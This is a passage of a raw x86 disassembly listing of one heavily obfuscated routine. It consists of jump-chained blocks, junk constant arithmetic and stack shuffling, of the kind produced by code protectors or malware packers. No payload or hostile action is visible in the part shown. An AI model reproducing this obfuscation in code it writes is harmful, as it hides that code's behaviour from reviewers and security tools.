		and	ebx, 101D69FDh
		not	ebx
		add	ebx, 4AB93FD9h
		sub	ebx, 365E4987h
		add	ebx, 0B83BE395h
		sub	edi, ebx
		pop	ebx
		sub	ecx, edi
		pop	edi
		sub	ecx, 661E32C2h
		push	ebp
		mov	ebp, 588C1D0Fh
		jmp	loc_58A7C0
; ---------------------------------------------------------------------------


loc_588E12:				; CODE XREF: sub_581EE9+6387j
		pop	ebp
		shl	ebp, 8
		jmp	loc_58EF76
; ---------------------------------------------------------------------------


loc_588E1B:				; CODE XREF: sub_581EE9+84D8j
		not	edi
		jmp	loc_58B13B
; ---------------------------------------------------------------------------


loc_588E22:				; CODE XREF: sub_581EE9+E6C5j
		push	ecx
		mov	ch, dh
		not	ch
		mov	dh, ch
		pop	ecx
		dec	dh
		xor	dh, 0AAh
		or	cl, dh
		pop	edx
		jmp	loc_58C272
; ---------------------------------------------------------------------------


loc_588E37:				; CODE XREF: sub_581EE9+6CECj
		and	edx, eax
		jmp	loc_58F3AE
; ---------------------------------------------------------------------------


loc_588E3E:				; CODE XREF: sub_581EE9+4E9Cj
		mov	edx, 558877ACh
		or	eax, edx
		pop	edx
		sub	eax, 52E75022h
		neg	eax
		sub	eax, 9F476C69h
		and	edx, eax
		pop	eax
		add	edx, 0FFFFFFFFh
		shl	edx, 4
		push	edi
		push	2DCBh
		mov	[esp-6EC6h+arg_6EBE], eax
		jmp	loc_59188B
; ---------------------------------------------------------------------------


loc_588E69:				; CODE XREF: sub_581EE9+F893j
		push	66220255h
		pop	edi
		sub	edi, 3A516436h
		add	edi, 0D853918h
		neg	edi
		push	346Ch
		mov	[esp-6EC2h+arg_6EBA], edx
		mov	edx, 57F45BCBh
		push	152Ah
		mov	[esp-6EBEh+arg_6EB6], edx
		dec	[esp-6EBEh+arg_6EB6]
		pop	edx
		dec	edx
		shr	edx, 7
		xor	edx, 5E0C235Eh
		xor	edx, 67F61CD2h
		add	edi, edx
		mov	edx, [esp-6EC2h+arg_6EBA]
		add	esp, 4
		jmp	loc_58F4E6
; ---------------------------------------------------------------------------


loc_588EB3:				; CODE XREF: sub_581EE9+A9A1j
		add	esp, 4
		jmp	loc_58A8E3
; ---------------------------------------------------------------------------


loc_588EBB:				; CODE XREF: sub_581EE9+967Dj
		push	ebp
		push	ecx
		mov	ecx, 4
		jmp	loc_588C02
; ---------------------------------------------------------------------------


loc_588EC7:				; CODE XREF: sub_581EE9+53ABj
		pop	esi
		add	[esp-6ED0h+arg_6ECA+2],	eax
		pop	eax
		jmp	loc_585CC3
; ---------------------------------------------------------------------------
		dw 2489h
; ---------------------------------------------------------------------------
		and	al, 53h
		mov	ebx, 4
		add	[esp-6ED4h+arg_6ECE+2],	9D05D90h
		jmp	loc_58D877
; ---------------------------------------------------------------------------


loc_588EE8:				; CODE XREF: sub_581EE9+744Aj
		add	eax, 4
		push	ebp
		mov	ebp, 17940739h
		jmp	loc_5904CC
; ---------------------------------------------------------------------------


loc_588EF8:				; CODE XREF: sub_581EE9+9AE5j
		push	cx
		mov	cl, 4
		sub	bl, cl
		pop	cx
		sub	bl, 11h
		add	bl, 37h
		push	edx
		mov	dl, 0D9h
		neg	dl
		dec	dl
		xor	dl, 81h
		and	dl, 0C4h
		xor	dl, 0BEh
		jmp	loc_5882B1
; ---------------------------------------------------------------------------


loc_588F1B:				; CODE XREF: sub_581EE9+DD9Ej
		pop	esp
		mov	word ptr [esp-6ED0h+arg_6EC6+2], ax
		mov	ah, 0CDh
		sub	dh, ah
		mov	ax, word ptr [esp-6ED0h+arg_6EC6+2]
		jmp	loc_586EE6
; ---------------------------------------------------------------------------


loc_588F2D:				; CODE XREF: sub_581EE9+BB81j
		add	edx, ebx
		add	edx, 67DF6007h
		jmp	loc_59174D
; ---------------------------------------------------------------------------


loc_588F3A:				; DATA XREF: sub_581EE9+3D43o
		lodsd
		push	ebp
		mov	ebp, 2B923532h
		sub	eax, 4E5358F1h
		sub	eax, ebp
		add	eax, 4E5358F1h
		mov	ebp, [esp-6ECCh+arg_6EC2+2]
		add	esp, 4
		push	esi
		mov	esi, 173715B7h
		sub	eax, esi
		pop	esi
		push	esi
		mov	esi, 3F53726Dh
		add	eax, esi
		pop	esi
		sub	eax, ebx
		sub	eax, 3F53726Dh
		push	ebp
		mov	ebp, 61ED437Eh
		jmp	loc_58A964
; ---------------------------------------------------------------------------


loc_588F77:				; CODE XREF: sub_581EE9+7321j
		pop	esp
		mov	[esp-6ED0h+arg_6EC6+2],	esp
		add	[esp-6ED0h+arg_6EC6+2],	4
		pop	edi
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-6ED4h+arg_6ECA+2]
		pop	esp
		mov	[esp-6ED8h+arg_6ECE+2],	eax
		push	esp
		push	[esp-6ED4h+arg_6ECA+2]
		pop	eax
		add	esp, 4
		add	eax, 4
		jmp	loc_587FC1
; ---------------------------------------------------------------------------


loc_588FA5:				; CODE XREF: sub_581EE9+7DD1j
		add	ebp, 0E1E51EDAh
		and	eax, ebp
		mov	ebp, [esp-6ED8h+arg_6ECE+2]
		add	esp, 4
		jmp	loc_58F949
; ---------------------------------------------------------------------------


loc_588FB8:				; CODE XREF: sub_581EE9+8F84j
		sub	esp, 4
		jmp	loc_586640
; ---------------------------------------------------------------------------


loc_588FC3:				; CODE XREF: sub_581EE9+513Fj
		sub	ch, bl
		mov	ebx, [esp-6EEEh+arg_6EE4+2]
		add	esp, 4
		sub	bl, ch
		mov	ecx, [esp-6EF2h+arg_6EE8+2]
		add	esp, 4
		push	1D6Fh
		mov	[esp-6EF2h+arg_6EE8+2],	edx
		sub	esp, 4
		mov	[esp-6EEEh+arg_6EE4+2],	ecx
		jmp	loc_5916F0
; ---------------------------------------------------------------------------


loc_588FEC:				; CODE XREF: sub_581EE9+FBCAj
		mov	[esp], ecx
		mov	ecx, esp
		push	ebp
		mov	ebp, 59B50D6Bh
		inc	ebp
		jmp	loc_58931D
; ---------------------------------------------------------------------------


loc_588FFD:				; CODE XREF: sub_581EE9+B400j
		sub	[esp-6EEAh+arg_6EE0+2],	ebx
		jmp	loc_58F2A1
; ---------------------------------------------------------------------------


loc_589005:				; CODE XREF: sub_581EE9+BC07j
		add	eax, edx
		pop	edx
		xor	ebx, eax
		push	edx
		jmp	loc_591847
; ---------------------------------------------------------------------------


loc_589010:				; CODE XREF: sub_581EE9+4FCDj
		mov	al, 4Bh
		mov	ch, al
		pop	eax
		xor	ch, 0F2h
		add	al, ch
		jmp	loc_589EF7
; ---------------------------------------------------------------------------


loc_58901F:				; CODE XREF: sub_581EE9+BDEDj
		sub	bl, cl
		jmp	loc_58CCE5
; ---------------------------------------------------------------------------


loc_589026:				; CODE XREF: sub_581EE9+C830j
		xor	edx, eax
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58902D:				; CODE XREF: sub_581EE9+5536j
		sub	esp, 4
		mov	[esp-6EB2h+arg_6EA8+2],	edx
		mov	edx, 365F6DA7h
		inc	edx
		shl	edx, 8
		shr	edx, 2
		and	edx, 265E56D9h
		sub	edx, 4B692479h
		add	edx, 76765CD7h
		sub	ebx, edx
		pop	edx
		jmp	loc_58CD4A
; ---------------------------------------------------------------------------


loc_58905C:				; CODE XREF: sub_581EE9+AFEAj
		mov	bl, 2Bh
		sub	al, bl
		jmp	loc_58EBDE
; ---------------------------------------------------------------------------


loc_589065:				; CODE XREF: sub_581EE9+A312j
		mov	dh, ah
		mov	eax, [esp-6EB6h+arg_6EAC+2]
		add	esp, 4
		pop	ecx
		sub	esp, 4
		jmp	loc_590AE1
; ---------------------------------------------------------------------------


loc_58907C:				; CODE XREF: sub_581EE9+402Aj
		sub	ebx, 12850046h
		sub	ebx, eax
		add	ebx, 12850046h
		add	ebx, 39E2516Eh
		push	ebx
		jmp	loc_588AF9
; ---------------------------------------------------------------------------


loc_589096:				; CODE XREF: sub_581EE9+859Ej
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	3B47h
		mov	[esp-6EC0h+arg_6EB6+2],	ebp
		push	[esp-6EC0h+arg_6EBA+2]
		jmp	loc_5908C6
; ---------------------------------------------------------------------------


loc_5890B6:				; CODE XREF: sub_581EE9+A831j
		pop	esp
		jmp	loc_58A64A
; ---------------------------------------------------------------------------


loc_5890BC:				; CODE XREF: sub_581EE9+7F20j
		add	ebp, 4
		add	ebp, 2
		push	ebp
		jmp	loc_586E7E
; ---------------------------------------------------------------------------


loc_5890CB:				; CODE XREF: sub_581EE9+9B23j
		pop	eax
		jmp	loc_58B2DA
; ---------------------------------------------------------------------------


loc_5890D1:				; CODE XREF: sub_581EE9+42A1j
		add	al, dh
		jmp	loc_588280
; ---------------------------------------------------------------------------


loc_5890D8:				; CODE XREF: sub_581EE9+6626j
		add	esp, 2
		xor	bl, al
		jmp	loc_58DFCE
; ---------------------------------------------------------------------------


loc_5890E2:				; CODE XREF: sub_581EE9+541Bj
		sub	esi, edi
		jmp	loc_59033A
; ---------------------------------------------------------------------------


loc_5890E9:				; CODE XREF: sub_581EE9+D403j
		push	edx
		jmp	loc_587533
; ---------------------------------------------------------------------------


loc_5890EF:				; CODE XREF: sub_581EE9+E899j
		mov	edi, 5DC40FCBh
		mov	ecx, 0E35A0940h
		add	ecx, edi
		pop	edi
		add	edx, ecx
		pop	ecx
		jmp	loc_58932B
; ---------------------------------------------------------------------------


loc_589104:				; CODE XREF: sub_581EE9+DB11j
		push	esi
		jmp	loc_587888
; ---------------------------------------------------------------------------


loc_58910A:				; CODE XREF: sub_581EE9+A47Dj
		push	dword ptr [esp]
		mov	esi, [esp-6EEAh+arg_6EE0+2]
		push	edx
		jmp	loc_5904DA
; ---------------------------------------------------------------------------


loc_589116:				; CODE XREF: sub_581EE9+971Fj
		pop	edi
		add	eax, 643464CAh
		jmp	loc_586F2B
; ---------------------------------------------------------------------------


loc_589121:				; CODE XREF: sub_581EE9+C4EBj
		dec	ch
		shl	ch, 7
		add	ch, 5Fh
		push	dx
		mov	dl, 7Bh
		xor	ch, dl
		jmp	loc_5901BF
; ---------------------------------------------------------------------------


loc_589134:				; CODE XREF: sub_581EE9+93D5j
		mov	[esp-6EE8h+arg_6EE0], ebx
		push	3743h
		mov	[esp-6EE4h+arg_6EDC], edx
		push	esi
		pop	edx
		jmp	loc_58BC76
; ---------------------------------------------------------------------------


loc_589146:				; CODE XREF: sub_581EE9+C674j
		shr	bh, 3
		shl	bh, 6
		xor	bh, 0FBh
		add	al, bh
		mov	ebx, [esp-6EE4h+arg_6EDC]
		jmp	loc_58D5BC
; ---------------------------------------------------------------------------


loc_589159:				; CODE XREF: sub_581EE9+CAE8j
		mov	[esp-6EE4h+arg_6EDC], esi
		xchg	edx, [esp-6EE4h+arg_6EDC]
		jmp	loc_591235
; ---------------------------------------------------------------------------


loc_589164:				; DATA XREF: sub_581EE9+3CCBo
		sub	esp, 4
		mov	[esp-6EF6h+arg_6EEC+2],	ebp
		mov	ebp, 4CF74C99h
		shr	ebp, 4
		shl	ebp, 2
		jmp	loc_58D618
; ---------------------------------------------------------------------------


loc_58917A:				; CODE XREF: sub_581EE9+51A7j
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 55212CE1h
		jmp	loc_58828C
; ---------------------------------------------------------------------------


loc_589188:				; CODE XREF: sub_581EE9+655Dj
		push	ebp
		jmp	loc_58E934
; ---------------------------------------------------------------------------


loc_58918E:				; CODE XREF: sub_581EE9+9949j
		pop	esp
		mov	[esp-6EB4h+arg_6EAC], ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-6EB0h+arg_6EA8]
		pop	esp
		mov	[esp-6EB4h+arg_6EAC], ebp
		push	edi
		mov	edi, 1BA141A9h
		not	edi
		xor	edi, 29AA3BD6h
		add	edi, 75B27F34h
		push	esi
		jmp	loc_58A959
; ---------------------------------------------------------------------------


loc_5891BF:				; CODE XREF: sub_581EE9+4A90j
		add	bl, ch
		jmp	loc_587B51
; ---------------------------------------------------------------------------


loc_5891C6:				; CODE XREF: sub_581EE9+AEE2j
		mov	esi, ebx
		mov	ebx, [esp-6ECCh+arg_6EC2+2]
		push	edx
		mov	edx, esp
		jmp	loc_58D1DD
; ---------------------------------------------------------------------------


loc_5891D3:				; CODE XREF: sub_581EE9+EBF3j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 2
		jmp	loc_589999
; ---------------------------------------------------------------------------


loc_5891E7:				; CODE XREF: sub_581EE9+7FDAj
		xor	ch, dl
		jmp	loc_58CE4D
; ---------------------------------------------------------------------------


loc_5891EE:				; CODE XREF: sub_581EE9+AA4Bj
		pop	ebx
		add	esp, 4
		push	eax
		push	[esp-6EC8h+arg_6EC2+2]
		pop	eax
		jmp	loc_585E58
; ---------------------------------------------------------------------------


loc_5891FD:				; CODE XREF: sub_581EE9+A48Aj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp-6EC8h+arg_6EBE+2]
		jmp	loc_588F77
; ---------------------------------------------------------------------------


loc_58920F:				; DATA XREF: sub_581EE9+3D03o
		mov	cx, word ptr [esp-6EC8h+arg_6EBE+2]
		sub	esp, 4
		mov	[esp-6EC4h+arg_6EBA+2],	esi
		mov	esi, esp
		push	62C8h
		mov	[esp-6EC0h+arg_6EB6+2],	edx
		mov	edx, 3F253AF0h
		dec	edx
		push	ebp
		mov	ebp, 1DB74CBFh
		or	edx, ebp
		jmp	loc_58F23E
; ---------------------------------------------------------------------------


loc_589239:				; CODE XREF: sub_581EE9+CAFEj
		push	ecx
		mov	ch, 2Fh
		push	eax
		mov	al, 52h
		jmp	loc_5904E1
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6EB4h+arg_6EAC]
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 74D413FDh
		push	edx
		mov	edx, 64124B41h
		add	edx, 1
		push	ebp
		mov	ebp, 13502103h
		sub	ebp, 5FDA57C9h
		add	edx, ebp
		pop	ebp
		and	ebp, edx
		pop	edx
		sub	esp, 4
		mov	[esp-6EA8h+arg_6E9E+2],	esi
		push	2FDE1844h
		pop	esi
		or	ebp, esi
		pop	esi
		add	ebp, 76F86D56h
		xor	ebp, 12C63783h
		sub	ebp, 0A410B24Dh
		jmp	loc_586EFD
; ---------------------------------------------------------------------------


loc_589292:				; CODE XREF: sub_581EE9+8590j
		add	esi, eax
		jmp	loc_5907A7
; ---------------------------------------------------------------------------


loc_589299:				; CODE XREF: sub_581EE9+EFA1j
		mov	edi, esp
		push	edx
		mov	edx, 4
		add	edi, 420861EFh
		jmp	loc_586362
; ---------------------------------------------------------------------------


loc_5892AC:				; CODE XREF: sub_581EE9+42AAj
		push	edi
		mov	edi, 18FC5DD2h
		jmp	loc_589F4B
; ---------------------------------------------------------------------------


loc_5892B7:				; CODE XREF: sub_581EE9+5D12j
		push	edi
		mov	edi, 34234996h
		add	ebx, edi
		pop	edi
		mov	ecx, ebx
		jmp	loc_590E66
; ---------------------------------------------------------------------------


loc_5892C7:				; CODE XREF: sub_581EE9+54ECj
		push	ebx
		mov	bl, 0D0h
		and	bl, 46h
		shl	bl, 8
		neg	bl
		neg	bl
		inc	bl
		xor	bl, 0B6h
		jmp	loc_5876DB
; ---------------------------------------------------------------------------


loc_5892DE:				; CODE XREF: sub_581EE9+CD91j
		sub	edx, 1
		jmp	loc_5898CF
; ---------------------------------------------------------------------------


loc_5892E9:				; CODE XREF: sub_581EE9+9A5Ej
		pop	eax
		push	ebp
		mov	ebp, 2
		jmp	loc_58D9D7
; ---------------------------------------------------------------------------


loc_5892F5:				; CODE XREF: sub_581EE9+E051j
		push	[esp-6EB2h+arg_6EA8+2]
		push	[esp-6EAEh+arg_6EA4+2]
		pop	eax
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	ecx
		push	ebp
		mov	ebp, 4
		mov	ecx, ebp
		pop	ebp
		add	ebx, ecx
		pop	ecx
		push	ebx
		push	dword ptr [esp-6EA6h+arg_6EA2]
		pop	ebx
		jmp	loc_59086B
; ---------------------------------------------------------------------------


loc_58931D:				; CODE XREF: sub_581EE9+710Fj
		sub	esp, 4
		mov	[esp-6EE6h+arg_6EDC+2],	eax
		jmp	loc_58D554
; ---------------------------------------------------------------------------


loc_58932B:				; CODE XREF: sub_581EE9+7216j
		inc	edx
		jmp	loc_58DF7C
; ---------------------------------------------------------------------------


loc_589331:				; CODE XREF: sub_581EE9+F85Fj
		push	esp
		pop	eax
		jmp	loc_588EE8
; ---------------------------------------------------------------------------


loc_589338:				; CODE XREF: sub_581EE9+6409j
		shl	edx, 4
		push	ebp
		push	ebx
		jmp	loc_590F8F
; ---------------------------------------------------------------------------


loc_589342:				; DATA XREF: sub_581EE9+3BDBo
		lodsw
		xor	ax, bx
		push	ebp
		jmp	loc_58A790
; ---------------------------------------------------------------------------


loc_58934D:				; CODE XREF: sub_581EE9+DBC2j
		not	[esp-6EC8h+arg_6EBE+2]
		jmp	loc_588183
; ---------------------------------------------------------------------------


loc_589355:				; DATA XREF: sub_581EE9+3D4Bo
		push	[esp-6EC8h+arg_6EBE+2]
		push	[esp-6EC4h+arg_6EBA+2]
		push	[esp-6EC0h+arg_6EB6+2]
		pop	eax
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_58875F
; ---------------------------------------------------------------------------


loc_58936A:				; CODE XREF: sub_581EE9+8C73j
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		jmp	loc_5868BD
; ---------------------------------------------------------------------------


loc_589378:				; CODE XREF: sub_581EE9+9258j
		xor	ebx, edi
		jmp	loc_58B64A
; ---------------------------------------------------------------------------


loc_58937F:				; CODE XREF: sub_581EE9+98F9j
		xor	ecx, 448A1E6Ch
		neg	ecx
		push	71D6h
		jmp	loc_5887D8
; ---------------------------------------------------------------------------


loc_589391:				; CODE XREF: sub_581EE9+696Aj
		push	ebp
		push	esi
		push	68ED32BEh
		pop	esi
		xor	esi, 58E03752h
		mov	ebp, esi
		pop	esi
		jmp	loc_591974
; ---------------------------------------------------------------------------


loc_5893A7:				; CODE XREF: sub_581EE9+5AD4j
		mov	ebx, [esp-6EF6h+arg_6EEC+2]
		add	esp, 4
		jmp	loc_58E1B7
; ---------------------------------------------------------------------------


loc_5893B2:				; CODE XREF: sub_581EE9+D40Fj
		sub	esp, 4
		jmp	loc_5875DD
; ---------------------------------------------------------------------------


loc_5893BD:				; CODE XREF: sub_581EE9+E525j
		xor	esi, 4F154667h
		add	edx, esi
		push	[esp-6EF6h+arg_6EEC+2]
		mov	esi, [esp-6EF2h+arg_6EE8+2]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6EF2h+arg_6EE8+2]
		pop	esp
		add	edx, 2
		xor	edx, [esp-6EF6h+arg_6EEC+2]
		xor	[esp-6EF6h+arg_6EEC+2],	edx
		xor	edx, [esp-6EF6h+arg_6EEC+2]
		mov	esp, [esp-6EF6h+arg_6EEC+2]
		mov	ax, word ptr [esp-6EF6h+arg_6EEC+2]
		push	edx
		push	esp
		mov	edx, [esp-6EEEh+arg_6EE4+2]
		add	esp, 4
		jmp	loc_58649B
; ---------------------------------------------------------------------------


loc_589406:				; CODE XREF: sub_581EE9+A180j
		mov	[esp-6EF2h+arg_6EE8+2],	ebx
		push	[esp-6EF2h+arg_6EE8+2]
		pop	eax
		add	esp, 4
		jmp	loc_590B7D
; ---------------------------------------------------------------------------


loc_589418:				; CODE XREF: sub_581EE9+8E2Bj
		add	edx, 4
		xchg	edx, [esp-6EF6h+arg_6EEC+2]
		mov	esp, [esp-6EF6h+arg_6EEC+2]
		push	[esp-6EF6h+arg_6EEC+2]
		mov	eax, [esp-6EF2h+arg_6EE8+2]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		jmp	loc_58F928
; ---------------------------------------------------------------------------


loc_589438:				; CODE XREF: sub_581EE9+F427j
		xchg	ebp, [esp-6EF2h+arg_6EE8+2]
		pop	esp
		mov	[esp-6EF6h+arg_6EEC+2],	ebp
		push	5E42h
		mov	[esp-6EF2h+arg_6EE8+2],	ebx
		mov	ebp, [esp-6EF2h+arg_6EE8+2]
		push	5A2Ah
		jmp	loc_58C7C0
; ---------------------------------------------------------------------------


loc_589454:				; CODE XREF: sub_581EE9+537Cj
		push	[esp-6EFEh+arg_6EF6]
		pop	edx
		jmp	loc_58F1E7
; ---------------------------------------------------------------------------


loc_58945D:				; CODE XREF: sub_581EE9+5F67j
		xor	esi, 65BC4FA8h
		shl	esi, 5
		jmp	loc_590DA1
; ---------------------------------------------------------------------------


loc_58946B:				; CODE XREF: sub_581EE9+B72Aj
		pop	edx
		pop	[esp-6ECEh+arg_6EC6]
		pop	esp
		sub	[esp-6ED6h+arg_6ED2], ecx
		pop	ecx
		pop	eax
		push	ecx
		push	3EACh
		jmp	loc_58C88F
; ---------------------------------------------------------------------------


loc_589481:				; CODE XREF: sub_581EE9+F463j
		xor	ecx, 5FBE23E6h
		add	ebx, ecx
		mov	ecx, [esp-6ED6h+arg_6ECE]
		sub	esp, 4
		mov	[esp-6ED2h+arg_6ECA], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-6ED2h+arg_6ECA]
		mov	esp, [esp-6ED2h+arg_6ECA]
		sub	ebx, 2
		jmp	loc_58A208
; ---------------------------------------------------------------------------


loc_5894B1:				; CODE XREF: sub_581EE9+4C3Bj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-6ED2h+arg_6ECA]
		pop	esp
		and	ecx, ebp
		push	[esp-6ED6h+arg_6ECE]
		mov	ebp, [esp-6ED2h+arg_6ECA]
		push	ebx
		mov	ebx, esp
		jmp	loc_591999
; ---------------------------------------------------------------------------


loc_5894D1:				; CODE XREF: sub_581EE9+E44Cj
		add	ebp, 4
		jmp	loc_58D380
; ---------------------------------------------------------------------------


loc_5894DC:				; CODE XREF: sub_581EE9+47F8j
		pop	edx
		add	edx, eax
		jmp	loc_58E09C
; ---------------------------------------------------------------------------


loc_5894E4:				; CODE XREF: sub_581EE9+861Bj
		dec	esi
		neg	esi
		sub	esi, 69145Fh
		xor	esi, 0EE378A73h
		sub	edx, esi
		pop	esi
		sub	edx, 6CA31D33h
		push	ecx
		mov	ecx, 86E8E317h
		add	edx, ecx
		jmp	loc_5889EF
; ---------------------------------------------------------------------------


loc_589509:				; CODE XREF: sub_581EE9+D201j
		pop	ebp
		jmp	loc_58702D
; ---------------------------------------------------------------------------


loc_58950F:				; CODE XREF: sub_581EE9+7AF7j
		pop	[esp-6F02h+arg_6EFA]
		mov	esp, [esp-6F06h+arg_6EFE]
		mov	word ptr [esp-6F06h+arg_6EFE], sp
		jmp	loc_5863F8
; ---------------------------------------------------------------------------


loc_58951E:				; CODE XREF: sub_581EE9+9CB4j
		neg	al
		jmp	loc_587B9B
; ---------------------------------------------------------------------------


loc_589525:				; CODE XREF: sub_581EE9+A1AEj
		add	esp, 4
		sub	edx, 391E1D9Ah
		add	edx, edi
		add	edx, 391E1D9Ah
		jmp	loc_5912A4
; ---------------------------------------------------------------------------


loc_58953E:				; CODE XREF: sub_581EE9+FA1Fj
		add	edi, 4
		push	esi
		mov	esi, 4
		sub	edi, esi
		pop	esi
		xchg	edi, [esp-6F0Ah+arg_6F02]
		pop	esp
		jmp	loc_587676
; ---------------------------------------------------------------------------


loc_589556:				; CODE XREF: sub_581EE9+500Fj
		push	edx
		push	ecx
		push	edx
		mov	dl, 32h
		mov	ch, dl
		pop	edx
		mov	dh, ch
		pop	ecx
		jmp	loc_58BF08
; ---------------------------------------------------------------------------


loc_589566:				; DATA XREF: sub_581EE9+3C63o
		push	eax
		jmp	loc_586D49
; ---------------------------------------------------------------------------


loc_58956C:				; CODE XREF: sub_581EE9+95E7j
		push	ebp
		jmp	loc_590CD6
; ---------------------------------------------------------------------------


loc_589572:				; CODE XREF: sub_581EE9+F52Cj
		mov	ecx, [esp-6EA4h+arg_6E9A+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-6EA0h+arg_6E96+2]
		pop	esp
		push	6B7Ah
		mov	[esp-6EA0h+arg_6E96+2],	esi
		push	[esp-6EA0h+arg_6E9A+2]
		pop	esi
		pop	[esp-6EA0h+arg_6E96+2]
		mov	esp, [esp-6EA4h+arg_6E9A+2]
		push	[esp-6EA4h+arg_6E9A+2]
		pop	eax
		push	ebx
		jmp	loc_58A9CF
; ---------------------------------------------------------------------------


loc_5895A5:				; CODE XREF: sub_581EE9+69BBj
		add	[esp-6ECCh+arg_6EC6+2],	edi
		mov	edi, [esp-6ECCh+arg_6EC2+2]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-6EC8h+arg_6EBE+2]
		pop	esp
		sub	[esp-6ECCh+arg_6EC2+2],	3A3794h
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_5895CB:				; CODE XREF: sub_581EE9+9513j
		push	ecx
		mov	ecx, 0D291F94h
		add	ebx, ecx
		pop	ecx
		sub	ebx, 15102AB3h
		sub	ebx, 34CF2876h
		add	ebx, 38A751DCh
		push	esi
		mov	esi, 560126F2h
		push	edi
		mov	edi, 91462CBh
		neg	edi
		jmp	loc_5909F7
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 3FC6824h, 1C890000h,	4EC8324h, 0FFF8C5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_58960D:				; CODE XREF: sub_581EE9+D1E0j
		and	ebp, 25D43382h
		jmp	loc_58B56B
; ---------------------------------------------------------------------------


loc_589618:				; CODE XREF: sub_581EE9+4913j
		pop	esp
		btr	word ptr [esp-6EC4h+arg_6EBA+2], ax
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_589624:				; CODE XREF: sub_581EE9+C7C1j
		xor	eax, edi
		pop	edi
		push	290Dh
		jmp	loc_58DE59
; ---------------------------------------------------------------------------


loc_589631:				; CODE XREF: sub_581EE9+AE33j
		sub	ecx, 16802A22h
		jmp	loc_591002
; ---------------------------------------------------------------------------


loc_58963C:				; CODE XREF: sub_581EE9+F659j
		xchg	edx, [esp-6EC0h+arg_6EB6+2]
		mov	esp, [esp-6EC0h+arg_6EB6+2]
		jmp	loc_58ABCD
; ---------------------------------------------------------------------------


loc_589647:				; CODE XREF: sub_581EE9+97CBj
		add	bl, 5Dh
		add	bl, ch
		sub	bl, 5Dh
		sub	bl, 7Eh
		pop	ecx
		sub	bl, al
		jmp	loc_58B7C8
; ---------------------------------------------------------------------------


loc_58965A:				; CODE XREF: sub_581EE9+4A0Aj
		pop	ebp
		pop	[esp-6ED6h+arg_6ECE]
		push	1510h
		jmp	loc_585CC9
; ---------------------------------------------------------------------------


loc_589668:				; CODE XREF: sub_581EE9+9B32j
		add	ebx, esi
		jmp	loc_58DAB1
; ---------------------------------------------------------------------------


loc_58966F:				; DATA XREF: sub_581EE9+3CF3o
		mov	ax, word ptr [esp-6ED6h+arg_6ECE]
		jmp	loc_58C594
; ---------------------------------------------------------------------------


loc_589678:				; CODE XREF: sub_581EE9+6A02j
		pop	cx
		push	740Ch
		mov	[esp-6EBCh+arg_6EB2+2],	edx
		push	ecx
		mov	ecx, esp
		jmp	loc_59004E
; ---------------------------------------------------------------------------


loc_58968A:				; CODE XREF: sub_581EE9+5E5Aj
		pop	esp
		or	eax, eax
		jnz	loc_590207
		push	eax
		push	144h
		mov	[esp-6E94h+arg_6E8A+2],	edi
		mov	edi, 3D6C7792h
		jmp	loc_589D72
; ---------------------------------------------------------------------------


loc_5896A6:				; CODE XREF: sub_581EE9+8FC3j
		mov	ebp, 4
		jmp	loc_58B12E
; ---------------------------------------------------------------------------


loc_5896B0:				; CODE XREF: sub_581EE9+6469j
		mov	ebp, 3D23483Dh
		add	esi, ebp
		jmp	loc_58FC75
; ---------------------------------------------------------------------------


loc_5896BC:				; CODE XREF: sub_581EE9+BB94j
		add	ecx, 36D04C0Dh
		sub	ecx, 32D1611Ah
		mov	[ecx], bl
		pop	ecx
		jmp	loc_586543
; ---------------------------------------------------------------------------


loc_5896D0:				; CODE XREF: sub_581EE9+D9CDj
		shr	edi, 6
		sub	edi, 84411B9Dh
		sub	eax, edi
		pop	edi
		push	[esp-6EDEh+arg_6ED6]
		pop	edx
		jmp	loc_58B01A
; ---------------------------------------------------------------------------


loc_5896E5:				; CODE XREF: sub_581EE9+DC87j
		xchg	esi, [esp-6EDEh+arg_6ED6]
		pop	esp
		jmp	loc_58C71F
; ---------------------------------------------------------------------------


loc_5896EE:				; CODE XREF: sub_581EE9+F458j
		add	ebp, 4D0382Eh
		or	ebp, 447537F9h
		neg	ebp
		push	eax
		jmp	loc_58D8EA
; ---------------------------------------------------------------------------


loc_589702:				; CODE XREF: sub_581EE9+89F5j
		xor	ebx, [esp-6EDEh+arg_6ED6]
		xor	[esp-6EDEh+arg_6ED6], ebx
		xor	ebx, [esp-6EDEh+arg_6ED6]
		pop	esp
		mov	[esp+0], eax
		push	esp
		jmp	loc_586317
; ---------------------------------------------------------------------------


loc_589715:				; CODE XREF: sub_581EE9+7856j
		xor	eax, 317D6E4Dh
		shr	eax, 2
		push	ecx
		mov	ecx, 7E075823h
		inc	ecx
		xor	ecx, 30EC5647h
		shr	ecx, 8
		add	ecx, 0CEEBC44Ah
		add	eax, ecx
		jmp	loc_58BDFB
; ---------------------------------------------------------------------------


loc_58973A:				; CODE XREF: sub_581EE9+CBD9j
		or	eax, 4499446Eh
		jmp	loc_589715
; ---------------------------------------------------------------------------


loc_589744:				; CODE XREF: sub_581EE9+EBC7j
		pop	ebp
		pop	[esp-6EDEh+arg_6ED6]
		mov	esp, [esp+0]
		btr	[esp+0], ax
